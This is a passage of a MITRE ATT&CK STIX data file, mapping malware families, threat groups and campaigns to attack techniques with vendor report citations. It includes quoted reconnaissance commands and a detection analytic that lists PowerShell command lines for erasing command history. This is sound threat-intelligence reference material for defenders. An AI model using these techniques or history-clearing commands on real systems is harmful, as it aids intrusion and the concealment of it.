2018)","relationship_type":"uses","source_ref":"malware--414dc555-c79e-4b24-a2da-9b607f7eaf16","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b7c7d72-1858-4e36-a96b-6377272daf70","created":"2023-04-04T22:53:54.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T22:05:54.481Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can establish an SSH connection from a compromised host to a server.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2b7d386f-57b6-4ed2-a5bf-bcc20c92c95b","created":"2022-03-25T20:21:17.698Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to deploy through an infected system's default domain policy.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-15T01:22:34.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b7d9c6e-8149-4b2f-91a2-e80ec673e42d","created":"2022-06-10T14:40:16.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:37:36.665Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has searched a victim's network for code repositories like GitLab and GitHub to discover further high-privilege account credentials.(Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b7df536-1a64-487a-9588-42f3bd411f3f","created":"2024-03-06T18:16:56.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:24:55.627Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used Task Manager to dump LSASS memory from Windows devices to disk.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b8418de-6474-49e2-84f0-01ffe6c07a42","created":"2019-05-28T19:51:24.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="},{"source_name":"Proofpoint TA505 Mar 2018","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:01:23.784Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the current user during the initial infection.(Citation: Proofpoint TA505 Mar 2018)(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b89f806-5b78-4599-9536-13b47c35d26d","type":"relationship","created":"2020-05-14T15:14:33.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T15:14:33.527Z","description":"[DustySky](https://attack.mitre.org/software/S0062) lists all installed software for the infected machine.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b91534d-4687-457b-bcb0-96be9357fa6d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2020-03-17T14:13:21.682Z","description":"[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b948c49-f65d-4e60-969f-229030b4d311","type":"relationship","created":"2020-06-16T20:51:13.228Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.228Z","description":"[RTM](https://attack.mitre.org/software/S0148) has been delivered via spearphishing attachments disguised as PDF documents.(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.143Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) exfiltrates collected files via removable media from air-gapped victims.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b9855a9-f381-4a3e-a0c2-80310374b165","created":"2022-02-01T16:00:17.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T15:02:32.862Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has studied publicly available information about a targeted organization to tailor spearphishing efforts against specific departments and/or individuals.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2b9ce635-3ce2-4145-864e-70b0b09438b8","created":"2022-06-15T12:48:12.702Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can enumerate the OS version and hostname of a targeted machine.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T13:07:05.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ba17ab3-f9ae-4052-a7c7-b6d0e10b8b96","type":"relationship","created":"2020-03-02T14:27:49.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T14:27:49.482Z","relationship_type":"revoked-by","source_ref":"attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ba344c1-aa24-4566-9df0-2556363fe8eb","created":"2022-03-15T19:56:31.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.409Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has lured victims into clicking malicious links.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ba3fc03-9a46-47b9-aeec-1207702ef4cf","created":"2024-07-16T18:09:16.808Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T18:09:16.808Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) will gather information concerning the Windows Domain the victim machine is a member of during execution.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2bad61ee-c880-422a-a918-f017f970fd81","created":"2024-05-22T22:18:00.798Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:18:00.798Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) attempted to acquire valid credentials for victim environments through various means to enable follow-on lateral movement.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bb3c950-2099-4d7d-ac13-05a1470fc3c6","type":"relationship","created":"2020-11-10T16:24:47.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."},{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020."}],"modified":"2020-11-10T16:24:47.455Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used SMB to drop Cobalt Strike Beacon on a domain controller for lateral movement.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk's Return October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2bb7ed69-8f59-47f3-8d86-f1c1202c7629","created":"2022-07-18T20:16:08.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T20:49:49.743Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) used the command powershell “Get-EventLog -LogName security -Newest 500 | where {$_.EventID -eq 4624} | format-list -\nproperty * | findstr “Address”” to find the network information of successfully logged-in accounts to discovery addresses of other machines. [Earth Lusca](https://attack.mitre.org/groups/G1006) has also used multiple scanning tools to discover other machines within the same compromised network.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bb829ce-e597-4033-af7c-ef44aaebadb4","type":"relationship","created":"2021-09-29T15:41:18.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Andariel Ransomware June 2021","url":"https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/","description":"Park, S. (2021, June 15). Andariel evolves to target South Korea with ransomware. Retrieved September 29, 2021."}],"modified":"2021-09-29T15:41:18.411Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has used the netstat -naop tcp command to display TCP connections on a victim's machine.(Citation: Kaspersky Andariel Ransomware June 2021)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bb931c2-d3ae-4956-aba7-6e42c46cdc5a","type":"relationship","created":"2020-03-27T21:32:21.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:32:21.863Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bbcc7da-f535-4974-bc08-4edb5a235828","type":"relationship","created":"2020-10-02T17:05:43.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T17:05:43.684Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f","target_ref":"attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bbf8a2c-13e9-4fd8-87ba-fcaa63f65ad2","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor executed commands and arguments that may abuse authentication packages to execute DLLs when the system boots.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2bc01152-d964-4d53-86bd-a35e56200379","created":"2024-03-13T20:31:32.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T21:04:10.416Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) has stolen credentials stored in the victim’s browsers via software tool NirSoft WebBrowserPassView.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2bc389e7-2e81-4a36-a476-64d528fe1ded","created":"2024-02-14T20:07:44.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:30:26.324Z","description":"Monitor for the suspicious execution of processes that may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.\n\nAnalytic 1 - Clear Powershell Console Command History \n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND\n (CommandLine=\"*rm (Get-PSReadlineOption).HistorySavePath*\" OR\n CommandLine=\"*del (Get-PSReadlineOption).HistorySavePath*\" OR \n CommandLine=\"*Set-PSReadlineOption –HistorySaveStyle SaveNothing*\" OR\n CommandLine=\"*Remove-Item (Get-PSReadlineOption).HistorySavePath*\" OR\n (CommandLine=\"*del*\" AND CommandLine=\"*Microsoft\\Windows\\Powershell\\PSReadline\\ConsoleHost_history.txt*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bc482f0-f5ee-433c-81bd-566ef8a8d7a6","type":"relationship","created":"2020-08-03T19:28:18.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-08-03T19:28:18.033Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can read specific registry values.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bcaf336-cd02-47e3-b73f-6f0c5cc3592f","type":"relationship","created":"2020-04-30T17:08:59.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-30T17:08:59.317Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to list files upon receiving the ls command from C2.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2bce15a3-cf65-48a5-8a07-1c85c9c33a1a","created":"2022-03-10T18:34:45.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"},{"source_name":"Microsoft WhisperGate January 2022","description":"MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022.","url":"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 